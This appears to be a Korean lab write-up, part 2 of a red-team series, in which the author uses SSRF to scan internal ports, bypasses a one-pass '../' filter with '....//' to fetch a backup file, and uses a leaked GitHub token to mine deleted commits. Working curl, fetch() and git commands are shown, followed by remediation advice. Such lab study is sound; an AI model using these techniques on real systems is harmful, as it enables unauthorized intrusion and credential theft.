CJ 레드팀 랩 모의해킹 (2)

🛡️ 강사 제공 인가된 실습 환경에서 수행

본 글은 강사가 제공한 인가된 실습 환경에서 진행한 내용을 정리한 것이다. 등장하는 계정은 실습용으로 발급된 1회성 자격증명이며 실습 종료와 함께 폐기됐다. 공인 IP와 토큰은 마스킹했다.

1편에서 SQL 인젝션으로 svc-monitor 계정을 얻고 DB 서버에서 명령까지 실행했다. 그런데 정작 미션인 다음 서버 주소는 못 찾은 채였다.

DB 안을 뒤져도 주소가 없었기 때문이다. 그래서 방향을 바꿨다. 내가 직접 찾는 대신, 서버한테 대신 찾아보라고 시키기로 했다.

svc-monitor 로 로그인 → 관리자 도구가 열림
    │
서버를 시켜 내부망을 두드림 → 아무도 모르던 :9091 발견
    │
그 서비스의 안내문이 백업 파일 위치를 알려줌
    │
../ 는 막히지만 ....// 는 통함 → 백업 파일 획득
    │
백업 안에 GitHub 토큰이 그대로 적혀 있음
    │
    └──→ 삭제된 커밋에서 다음 서버 주소·포트를 찾아냄

1. 잠겨 있던 관리자 도구

1편 끝에서 막혔던 /ops-status/monitor 는 로그인이 필요했다. SQL 인젝션으로 얻은 계정으로 들어가니 열렸다.

curl -s -c ops.jar -X POST http://<LAB_IP>:8081/ops-status/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"svc-monitor","password":"novise"}'
로그인하니 우상단이 Sign out 으로 바뀌고 “내부 서비스 모니터” 패널이 나타났다
로그인하니 우상단이 Sign out 으로 바뀌고 “내부 서비스 모니터” 패널이 나타났다

도구의 정체는 서버 상태 확인기였다. 주소와 경로를 입력하면 서버가 그리로 요청을 보내고 결과를 보여준다.

주소(Target)와 경로(Path)를 입력받는 폼. 안내에 “포트 1~9999 중 하나에서 뜨고 있고, 정확한 번호는 안내하지 않으니 직접 확인해야 한다” 고 적혀 있다
주소(Target)와 경로(Path)를 입력받는 폼. 안내에 “포트 1~9999 중 하나에서 뜨고 있고, 정확한 번호는 안내하지 않으니 직접 확인해야 한다” 고 적혀 있다

바로 이 구조가 문제다.


2. 서버를 시켜서 두드리기

이런 취약점을 SSRF(Server-Side Request Forgery)라고 부른다. 이름이 어렵지만 뜻은 간단하다. 서버가 내가 시킨 주소로 대신 요청을 보내주는 것이다.

왜 그게 문제인지는 이 그림이면 충분하다.

[내 PC] ──✕──→ 내부망            직접 가면 막힌다
[내 PC] ──→ [웹서버] ──✓──→ 내부망   서버한테 시키면 간다

내부망은 밖에서 못 들어가게 막아둔 곳이다. 그런데 웹서버는 이미 그 안에 있다. 그러니 웹서버한테 부탁하면 들어갈 수 있다. 막힌 문 앞에서, 안에 있는 사람에게 대신 봐달라고 하는 셈이다.

먼저 정말 되는지부터 확인했다

바로 이곳저곳 두드리지 않았다. 이 기능이 아무 주소나 받아주는지 부터 확인하는 게 먼저다.

이 서버는 밖에서 8081번 포트만 열려 있다. 그러니 다른 포트가 응답한다면, 그건 내가 아니라 서버가 요청을 보낸 것이다.

curl -s -b ops.jar \
  "http://<LAB_IP>:8081/ops-status/monitor?target=127.0.0.1:5000&path=/"
밖에서는 닫혀 있는 5000번 포트가 200 으로 응답하고, 내부 페이지 내용이 통째로 돌아왔다
밖에서는 닫혀 있는 5000번 포트가 200 으로 응답하고, 내부 페이지 내용이 통째로 돌아왔다

밖에서는 절대 못 여는 포트가 열렸다. 확실해졌다.

그러면 포트를 훑을 수 있다

이게 되면 이 기능은 곧 내부망을 훑는 도구가 된다. 1편에서 알아낸 대역을 하나씩 넣어봤다.

172.19.0.2:5432   postgres      데이터베이스
172.19.0.4:21     ftp           1편에서 들어갔던 곳
172.19.0.6:5000   앱            (200)
172.19.0.6:9091   ???           (200)   ← 처음 보는 것

9091 이 낯설었다. 열어보니 이렇게 답했다.

{"endpoints":["/admin/dump-config"],"service":"internal-metrics","status":"ok"}
포트를 훑다 나온 internal-metrics. 자기가 가진 관리 기능 하나를 스스로 알려준다
포트를 훑다 나온 internal-metrics. 자기가 가진 관리 기능 하나를 스스로 알려준다

서비스가 자기 관리 기능 주소를 알려준다. 내부에서만 쓰는 거라 로그인을 안 걸어둔 것으로 보인다.


3. 안내문이 다음 단계를 알려줬다

알려준 주소를 열어봤다.

{
  "service": "internal-metrics-admin",
  "note": "internal only - do not expose externally",
  "hint": "ops-status download tool only serves the reports/ folder,
           but the real backup (cj-ops-ci.bak) is one level up in backups/"
}
“다운로드 기능은 reports/ 폴더만 열어주지만, 진짜 백업은 한 단계 위 backups/ 에 있다”
“다운로드 기능은 reports/ 폴더만 열어주지만, 진짜 백업은 한 단계 위 backups/ 에 있다”

“외부에 노출하지 말 것” 이라고 써놓고 정작 파일 이름과 위치를 그대로 알려준다. 1편의 robots.txt 주석이나 backup-policy.txt 와 똑같은 일이다.

운영자가 자기들끼리 보려고 남긴 메모가, 들어온 사람에게는 안내판이 된다.

이제 목표가 분명해졌다. 다운로드 기능으로 reports/ 폴더를 빠져나가서 backups/cj-ops-ci.bak 을 가져오는 것.


4. 필터가 ../ 를 한 번만 지운다

파일 다운로드 주소는 이렇게 생겼다.

/ops-status/download?file=<파일이름>

reports/ 폴더가 기준이다. 여기서 한 단계 위로 올라가려면 ../ 를 쓴다. 웹이든 터미널이든 ../ 는 “상위 폴더” 라는 뜻이다.

먼저 그대로 해봤다.

curl -s "http://<LAB_IP>:8081/ops-status/download?file=../backups/cj-ops-ci.bak"
../ 를 쓰니 404. 막혀 있다
../ 를 쓰니 404. 막혀 있다

막혔다. 그런데 어떻게 막았는지가 중요하다.

이런 걸 막는 가장 쉬운 방법은 입력에서 ../ 라는 글자를 찾아 지우는 것이다. 그런데 그 지우기를 딱 한 번만 하면 빈틈이 생긴다.

....// 를 넣어보자.

내가 보낸 것        . . . . / /
"../" 를 찾아 지움      ↑ ↑ ↑          가운데 세 글자가 지워지고
남은 것             . .   /       →   ../

지우는 행위가 새 ../ 를 만들어낸다. 앞의 점 두 개와 뒤의 슬래시가 붙어버리기 때문이다.

제대로 막으려면 더 지울 게 없을 때까지 반복해야 하는데, 한 번만 돌리고 끝낸 것이다.

curl -s "http://<LAB_IP>:8081/ops-status/download?file=....//backups/cj-ops-ci.bak"
# 200 OK, 431 bytes

통했다.

브라우저로는 계속 실패했다

여기서 한참 헤맸다. 주소창에 넣으면 계속 404가 났다.

원인은 서버가 아니라 브라우저였다. 브라우저는 요청을 보내기 전에 주소를 스스로 정리하는데, 그때 ....// 를 ../ 로 바꿔버린다. 내가 친 것과 서버가 받은 것이 달랐던 것이다.

브라우저에서 하려면 주소창 대신 fetch() 로 보내야 한다. 이건 주소를 손대지 않는다.

fetch("http://<LAB_IP>:8081/ops-status/download?file=....//backups/cj-ops-ci.bak")
  .then(r => r.text())

curl 은 처음부터 문제가 없었다.

여기서 배운 것: 안 될 때 원인이 항상 상대편에 있는 건 아니다. 내가 쓰는 도구가 입력을 바꿔서 실패할 수도 있다.


5. 백업 파일 안에 토큰이 있었다

받아낸 431바이트짜리 파일은 배포 스크립트 조각이었다.

# CJ CI/CD deploy snippet (legacy - remove before merge)
deploy:
  stage: release
  script:
    - export GITHUB_PAT=github_pat_11BUGS……MASKED……BF8
    - export GITHUB_USER=drkim-dev
    - export GITHUB_REPO=private-test
  # NOTE: temporary hardcode, rotate before enabling in prod pipeline

GITHUB_PAT 은 GitHub 개인 접근 토큰이다. 비밀번호 대신 쓰는 열쇠라고 보면 된다. 이게 있으면 그 계정의 비공개 저장소를 열 수 있다.

주석 두 줄이 눈에 띈다.

  • “legacy - remove before merge” — 합치기 전에 지울 것
  • “temporary hardcode, rotate before enabling in prod” — 임시로 박아둔 것, 운영 전에 바꿀 것

지우려고 했는데 안 지운 것이다. 그리고 이런 파일이 백업 폴더에 남아 있는 건 실제 현장에서도 흔하다.


6. 삭제된 커밋에 주소가 남아 있었다

토큰이 아직 살아 있는지부터 봤다.

curl -s -H "Authorization: Bearer $PAT" https://api.github.com/user
# {"login":"drkim-dev","name":"drkim","bio":"red team"}

살아 있다. 비공개 저장소를 받아왔다.

git clone https://drkim-dev:$PAT@github.com/drkim-dev/private-test.git

그런데 파일을 다 열어봐도 주소가 없었다. 여기가 이 랩의 마지막 함정이다.

지운 것은 사라지지 않는다

git 은 파일이 바뀔 때마다 그 순간을 통째로 저장해 둔다. 그 저장 단위 하나를 커밋이라고 한다.

중요한 건 이거다. 나중에 파일을 지우거나 되돌려도, 예전 커밋은 그대로 남아 있다. 목록에서 안 보이게 될 뿐이다.

--all 을 붙이면 그 숨은 것들까지 다 나온다.

git log --oneline --all
3eb863b Update README.md
e28c075 chore: migrate relay sync to new internal repo, archive legacy source
e738d42 Add nginx-config-relay service (stage2)
ea2eae6 chore: point CI deploy target at <STAGE2_IP>    ← 여기
291794d notes: temp testing creds

찾았다. 그런데 파일 안이 아니라 커밋에 붙인 설명 문구에 주소가 적혀 있었다. 코드에서 지워도 이 문구는 남는다.

포트는 그 시절 README 에 있었다. 지금은 지워졌지만, 그 파일이 살아 있던 커밋을 지정하면 그때 내용을 꺼낼 수 있다.

git show e738d42:README.md
# nginx-config-relay
## Deployment
- http://<STAGE2_IP>:30082

정말 살아 있는 서버인지 확인

curl -si http://<STAGE2_IP>:30082/ | head -3
HTTP/1.1 404 NOT FOUND
Server: openresty/1.25.3.2

404 지만 실망할 게 아니다. 응답이 왔다는 것 자체가 서버가 살아 있다는 뜻이고, Server: 줄이 무슨 프로그램인지까지 알려준다. 없는 주소면 아예 답이 없다.

Stage 2 도착.


조치 권고

문제어떻게 막나
서버가 아무 주소나 대신 요청요청 가능한 주소를 미리 정한 목록으로 제한. 내부망 주소는 기본 차단
내부 서비스에 로그인 없음“내부에서만 쓰니까”는 이유가 안 된다. 이 글의 전제가 바로 내부망 도달이었다
안내문이 파일 위치를 흘림진단·상태 기능이 파일 경로나 폴더 구조를 응답에 담지 않게
경로 필터글자를 지우는 방식으로 막지 않는다. 경로를 끝까지 정리한 뒤, 허용된 폴더 안인지 확인하는 방식으로
백업 파일에 토큰 하드코딩비밀값은 코드·설정에 두지 않고 전용 보관소에. 이미 새어나간 토큰은 즉시 폐기
토큰 권한필요한 저장소에만, 만료일을 걸어서
git 이력커밋에서 지워도 남는다. 유출됐다면 토큰을 바꾸는 것이 유일한 해결이고 이력 정리는 그다음이다

돌아보며

이 구간을 한 줄로 줄이면 “막혔다고 끝이 아니다” 였다.

내부망은 직접 못 갔지만 서버를 시키니 갔다. ../ 는 막혔지만 필터가 한 번만 도는 걸 알고 나니 뚫렸다. 저장소는 비어 보였지만 지운 커밋에는 남아 있었다.

세 번 다 막혔다는 사실이 아니라 어떻게 막았는지를 들여다봤을 때 길이 나왔다.

그리고 4장의 브라우저 문제는 1편에서 겪은 것과 같은 종류였다. 서버가 막은 줄 알았는데 내 도구가 요청을 바꾸고 있었다. 안 되는 이유를 상대편에서만 찾으면 이런 걸 놓친다.

다음 편은 여기서 얻은 주소로 넘어간다. Apache Struts 파일 업로드 취약점이 기다리고 있었다.

ATTACK CHAIN

Pasted image 20260906200642